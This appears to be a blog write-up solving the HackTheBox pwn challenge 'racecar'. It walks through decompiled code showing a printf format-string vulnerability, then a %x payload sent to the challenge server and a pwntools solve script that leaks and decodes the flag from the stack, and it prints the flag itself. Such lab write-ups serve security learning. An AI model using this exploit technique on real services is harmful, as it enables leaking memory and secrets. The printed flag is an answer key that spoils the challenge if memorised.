Post

HackTheBox Challenge racecar (Pwn)

Writeup for HackTheBox Challenge racecar

HackTheBox Challenge racecar (Pwn)

Challenge Synopsis

Did you know that racecar spelled backwards is racecar? Well, now that you know everything about racing, win this race and get the flag! (Source)

Enumeration

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
❯ file racecar
racecar: ELF 32-bit LSB pie executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=c5631a370f7704c44312f6692e1da56c25c1863c, not stripped

❯ checksec --file=racecar
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH	Symbols		FORTIFY	Fortified	Fortifiable	FILE
Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   96 Symbols	  No	0		3		racecar

❯ ./racecar

🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌
      ______                                       |xxx|
     /|_||_\`.__                                   | F |
    (   _    _ _\                                  |xxx|
*** =`-(_)--(_)-'                                  | I |
                                                   |xxx|
                                                   | N |
                                                   |xxx|
                                                   | I |
                                                   |xxx|
             _-_-  _/\______\__                    | S |
           _-_-__ / ,-. -|-  ,-.`-.                |xxx|
            _-_- `( o )----( o )-'                 | H |
                   `-'      `-'                    |xxx|
🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌

Insert your data:

Name: Shiro
Nickname: shiro

[+] Welcome [Shiro]!

[*] Your name is [Shiro] but everybody calls you.. [shiro]!
[*] Current coins: [69]

1. Car info
2. Car selection
> 1

🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌

Car #1 stats:   🚗

[Speed]:        ▋▋▋▋

[Acceleration]: ▋▋▋▋▋

[Handling]:     ▋▋▋▋▋▋▋▋

🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌

Car #2 stats:   🏎️

[Speed]:        ▋▋▋▋▋▋▋▋▋

[Acceleration]: ▋▋▋▋▋▋▋▋

[Handling]:     ▋▋

🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌

1. Car info
2. Car selection
> 2


Select car:
1. 🚗
2. 🏎️
> 2


Select race:
1. Highway battle
2. Circuit
> 1

[*] Waiting for the race to finish...

[+] You won the race!! You get 100 coins!
[+] Current coins: [169]

[!] Do you have anything to say to the press after your big victory?
> test

The Man, the Myth, the Legend! The grand winner of the race wants the whole world to know this: 
test

Decompiling the binary in Ghidra reveals the following functions.

main
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
void main(void)

{
  int iVar1;
  int iVar2;
  int in_GS_OFFSET;
  
  iVar1 = *(int *)(in_GS_OFFSET + 0x14);
  setup();
  banner();
  info();
  while (check != 0) {
    iVar2 = menu();
    if (iVar2 == 1) {
      car_info();
    }
    else if (iVar2 == 2) {
      check = 0;
      car_menu();
    }
    else {
      printf("\n%s[-] Invalid choice!%s\n",&DAT_00011548,&DAT_00011538);
    }
  }
  if (iVar1 != *(int *)(in_GS_OFFSET + 0x14)) {
    __stack_chk_fail_local();
  }
  return;
}
car_menu
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
void car_menu(void)

{
  int iVar1;
  int iVar2;
  uint __seed;
  int iVar3;
  size_t sVar4;
  char *__format;
  FILE *__stream;
  int in_GS_OFFSET;
  undefined *puVar5;
  undefined4 uVar6;
  undefined4 uVar7;
  uint local_54;
  char local_3c [44];
  int local_10;
  
  local_10 = *(int *)(in_GS_OFFSET + 0x14);
  uVar6 = 0xffffffff;
  uVar7 = 0xffffffff;
  do {
    printf(&DAT_00011948);
    iVar1 = read_int(uVar6,uVar7);
    if ((iVar1 != 2) && (iVar1 != 1)) {
      printf("\n%s[-] Invalid choice!%s\n",&DAT_00011548,&DAT_00011538);
    }
  } while ((iVar1 != 2) && (iVar1 != 1));
  iVar2 = race_type();
  __seed = time((time_t *)0x0);
  srand(__seed);
  if (((iVar1 == 1) && (iVar2 == 2)) || ((iVar1 == 2 && (iVar2 == 2)))) {
    iVar2 = rand();
    iVar2 = iVar2 % 10;
    iVar3 = rand();
    iVar3 = iVar3 % 100;
  }
  else if (((iVar1 == 1) && (iVar2 == 1)) || ((iVar1 == 2 && (iVar2 == 1)))) {
    iVar2 = rand();
    iVar2 = iVar2 % 100;
    iVar3 = rand();
    iVar3 = iVar3 % 10;
  }
  else {
    iVar2 = rand();
    iVar2 = iVar2 % 100;
    iVar3 = rand();
    iVar3 = iVar3 % 100;
  }
  local_54 = 0;
  while( true ) {
    sVar4 = strlen("\n[*] Waiting for the race to finish...");
    if (sVar4 <= local_54) break;
    putchar((int)"\n[*] Waiting for the race to finish..."[local_54]);
    if ("\n[*] Waiting for the race to finish..."[local_54] == '.') {
      sleep(0);
    }
    local_54 = local_54 + 1;
  }
  if (((iVar1 == 1) && (iVar2 < iVar3)) || ((iVar1 == 2 && (iVar3 < iVar2)))) {
    printf("%s\n\n[+] You won the race!! You get 100 coins!\n",&DAT_00011540);
    coins = coins + 100;
    puVar5 = &DAT_00011538;
    printf("[+] Current coins: [%d]%s\n",coins,&DAT_00011538);
    printf("\n[!] Do you have anything to say to the press after your big victory?\n> %s",
           &DAT_000119de);
    __format = (char *)malloc(0x171);
    __stream = fopen("flag.txt","r");
    if (__stream == (FILE *)0x0) {
      printf("%s[-] Could not open flag.txt. Please contact the creator.\n",&DAT_00011548,puVar5);
                    /* WARNING: Subroutine does not return */
      exit(0x69);
    }
    fgets(local_3c,0x2c,__stream);
    read(0,__format,0x170);
    puts(
        "\n\x1b[3mThe Man, the Myth, the Legend! The grand winner of the race wants the whole world to know this: \x1b[0m"
        );
    printf(__format);
  }
  else if (((iVar1 == 1) && (iVar3 < iVar2)) || ((iVar1 == 2 && (iVar2 < iVar3)))) {
    printf("%s\n\n[-] You lost the race and all your coins!\n",&DAT_00011548);
    coins = 0;
    printf("[+] Current coins: [%d]%s\n",0,&DAT_00011538);
  }
  if (local_10 != *(int *)(in_GS_OFFSET + 0x14)) {
    __stack_chk_fail_local();
  }
  return;
}

Reviewing the car_menu code, we can see a potential vulnerability being format string attack due to the use of printf(__format);.

Exploitation

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
echo 'AAAABBBBCCCC' > flag.txt

❯ gdb ./racecar
pwndbg> disassemble main
Dump of assembler code for function main:
   0x000013e1 <+0>:	lea    ecx,[esp+0x4]
   0x000013e5 <+4>:	and    esp,0xfffffff0
   0x000013e8 <+7>:	push   DWORD PTR [ecx-0x4]
   0x000013eb <+10>:	push   ebp
   0x000013ec <+11>:	mov    ebp,esp
   0x000013ee <+13>:	push   ebx
   0x000013ef <+14>:	push   ecx
   0x000013f0 <+15>:	sub    esp,0x10
   0x000013f3 <+18>:	call   0x7d0 <__x86.get_pc_thunk.bx>
   0x000013f8 <+23>:	add    ebx,0x2b94
   0x000013fe <+29>:	mov    eax,gs:0x14
   0x00001404 <+35>:	mov    DWORD PTR [ebp-0xc],eax
   0x00001407 <+38>:	xor    eax,eax
   0x00001409 <+40>:	call   0xb93 <setup>
   0x0000140e <+45>:	call   0x929 <banner>
   0x00001413 <+50>:	call   0x1082 <info>
   0x00001418 <+55>:	jmp    0x1463 <main+130>
   0x0000141a <+57>:	call   0x1352 <menu>
   0x0000141f <+62>:	cmp    eax,0x1
   0x00001422 <+65>:	je     0x142b <main+74>
   0x00001424 <+67>:	cmp    eax,0x2
   0x00001427 <+70>:	je     0x1432 <main+81>
   0x00001429 <+72>:	jmp    0x1443 <main+98>
   0x0000142b <+74>:	call   0x11d2 <car_info>
   0x00001430 <+79>:	jmp    0x1463 <main+130>
   0x00001432 <+81>:	mov    DWORD PTR [ebx+0x80],0x0
   0x0000143c <+91>:	call   0xc91 <car_menu>
   0x00001441 <+96>:	jmp    0x1463 <main+130>
   0x00001443 <+98>:	sub    esp,0x4
   0x00001446 <+101>:	lea    eax,[ebx-0x2a54]
   0x0000144c <+107>:	push   eax
   0x0000144d <+108>:	lea    eax,[ebx-0x2a44]
   0x00001453 <+114>:	push   eax
   0x00001454 <+115>:	lea    eax,[ebx-0x2661]
   0x0000145a <+121>:	push   eax
   0x0000145b <+122>:	call   0x670 <printf@plt>
   0x00001460 <+127>:	add    esp,0x10
   0x00001463 <+130>:	mov    eax,DWORD PTR [ebx+0x80]
   0x00001469 <+136>:	test   eax,eax
   0x0000146b <+138>:	jne    0x141a <main+57>
   0x0000146d <+140>:	nop
   0x0000146e <+141>:	mov    eax,DWORD PTR [ebp-0xc]
   0x00001471 <+144>:	xor    eax,DWORD PTR gs:0x14
   0x00001478 <+151>:	je     0x147f <main+158>
   0x0000147a <+153>:	call   0x1500 <__stack_chk_fail_local>
   0x0000147f <+158>:	lea    esp,[ebp-0x8]
   0x00001482 <+161>:	pop    ecx
   0x00001483 <+162>:	pop    ebx
   0x00001484 <+163>:	pop    ebp
   0x00001485 <+164>:	lea    esp,[ecx-0x4]
   0x00001488 <+167>:	ret
End of assembler dump.

pwndbg> r
...
[!] Do you have anything to say to the press after your big victory?
> %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x 

The Man, the Myth, the Legend! The grand winner of the race wants the whole world to know this: 
5655a200 170 56555dfa 18 8 26 2 1 5655696c 5655a200 5655a380 41414141 42424242 43434343 eb2c000a 56556d58 56558f8c ffffd3a8 5655638d 56556540 5655a1a0 2 eb2c0b00 0 56558f8c ffffd3c8 56556441 0 0 0
[Inferior 1 (process 16421) exited normally]

Notice the output 41414141 42424242 43434343? That is the pseudo flag.txt value being printed out.

Lets try the same options and payload on the remote server.

1
2
3
4
5
6
7
❯ nc 83.136.253.216 47166
...
[!] Do you have anything to say to the press after your big victory?
> %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x 

The Man, the Myth, the Legend! The grand winner of the race wants the whole world to know this: 
585661c0 170 565b8dfa 52 3 26 2 1 565b996c 585661c0 58566340 7b425448 5f796877 5f643164 34735f31 745f3376 665f3368 5f67346c 745f6e30 355f3368 6b633474 7d213f 27439e00 f7f593fc 565bbf8c ff850468 565b9441 1 ff850514 ff85051c 

Lets try to decode the 7b425448 value.

1
2
3
4
5
6
❯ python3
Python 3.12.8 (main, Dec 13 2024, 13:19:48) [GCC 14.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import binascii
>>> binascii.unhexlify('7b425448')
b'{BTH'

Looks like we got a partial flag value and its in reverse order! We can craft a python script to help automate the decoding of the flag.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
cat solve.py
#!/usr/bin/env python3

from pwn import *
import binascii

def main():
    try:
        payload = b'%x ' * 30

        host = '83.136.253.216'
        port = '47166'

        p = remote(host, port)

        # Send interactions to the remote service to trigger the leak
        p.sendlineafter(b'Name:', b'a')  # Send 'a' for the name
        p.sendlineafter(b'Nickname:', b'aa')  # Send 'aa' for the nickname
        p.sendlineafter(b'>', b'2')  # Choose option 2
        p.sendlineafter(b'>', b'2')  # Choose option 2 again
        p.sendlineafter(b'>', b'1')  # Choose option 1
        p.sendlineafter(b'>', payload)  # Send the payload crafted above

        p.recv()

        response = p.recv().decode('utf-8')

        # Split the response and extract the line containing the encoded flag
        flag_encoded = response.split('\n')[2]
        print(f'Flag encoded in hex: {flag_encoded}')

        # Split the hex-encoded flag into individual hex values
        flag_encoded_array = flag_encoded.split(' ')
        decoded_flag = ''  # Variable to accumulate the decoded flag

        # Decode each hex value and reverse it to reconstruct the original flag
        for hex_value in flag_encoded_array:
            hex_value = hex_value.lstrip('0x')  # Remove any leading '0x' from the hex string

            try:
                # Decode the hex value into bytes, ignoring invalid characters
                decoded_bytes = bytearray.fromhex(hex_value).decode('utf-8', errors='replace')
                
                # Reverse the bytes to get the original flag
                reversed_bytes = decoded_bytes[::-1]
                decoded_flag += reversed_bytes  # Add the decoded part to the full flag

            except ValueError:
                # Skip any invalid hex values (they may not decode properly)
                continue

        # Print the decoded flag, removing any leading/trailing whitespace
        print(f'Decoded flag: {decoded_flag.strip()}')

    except Exception as e:
        # Handle any exceptions that might occur during the execution
        print(f'An error occurred: {e}')

if __name__ == '__main__':
    main()

❯ python3 solve.py
[+] Opening connection to 83.136.253.216 on port 47166: Done
Flag encoded in hex: 56d7b1c0 170 5656ddfa 38 7 26 2 1 5656e96c 56d7b1c0 56d7b340 7b425448 5f796877 5f643164 34735f31 745f3376 665f3368 5f67346c 745f6e30 355f3368 6b633474 7d213f 586db300 f7f1c3fc 56570f8c ff8c72b8 5656e441 1 ff8c7364 ff8c736c
Decoded flag: �ױV��VV8&l�VV�ױV@׳VHTB{why_d1d_1_s4v3_th3_fl4g_0n_th3_5t4ck?!}\x00�mX�����\x0fWV�r��A�VVds��ls��
[*] Closed connection to 83.136.253.216 port 47166

Flag: HTB{why_d1d_1_s4v3_th3_fl4g_0n_th3_5t4ck?!}

This post is licensed under CC BY 4.0 by the author.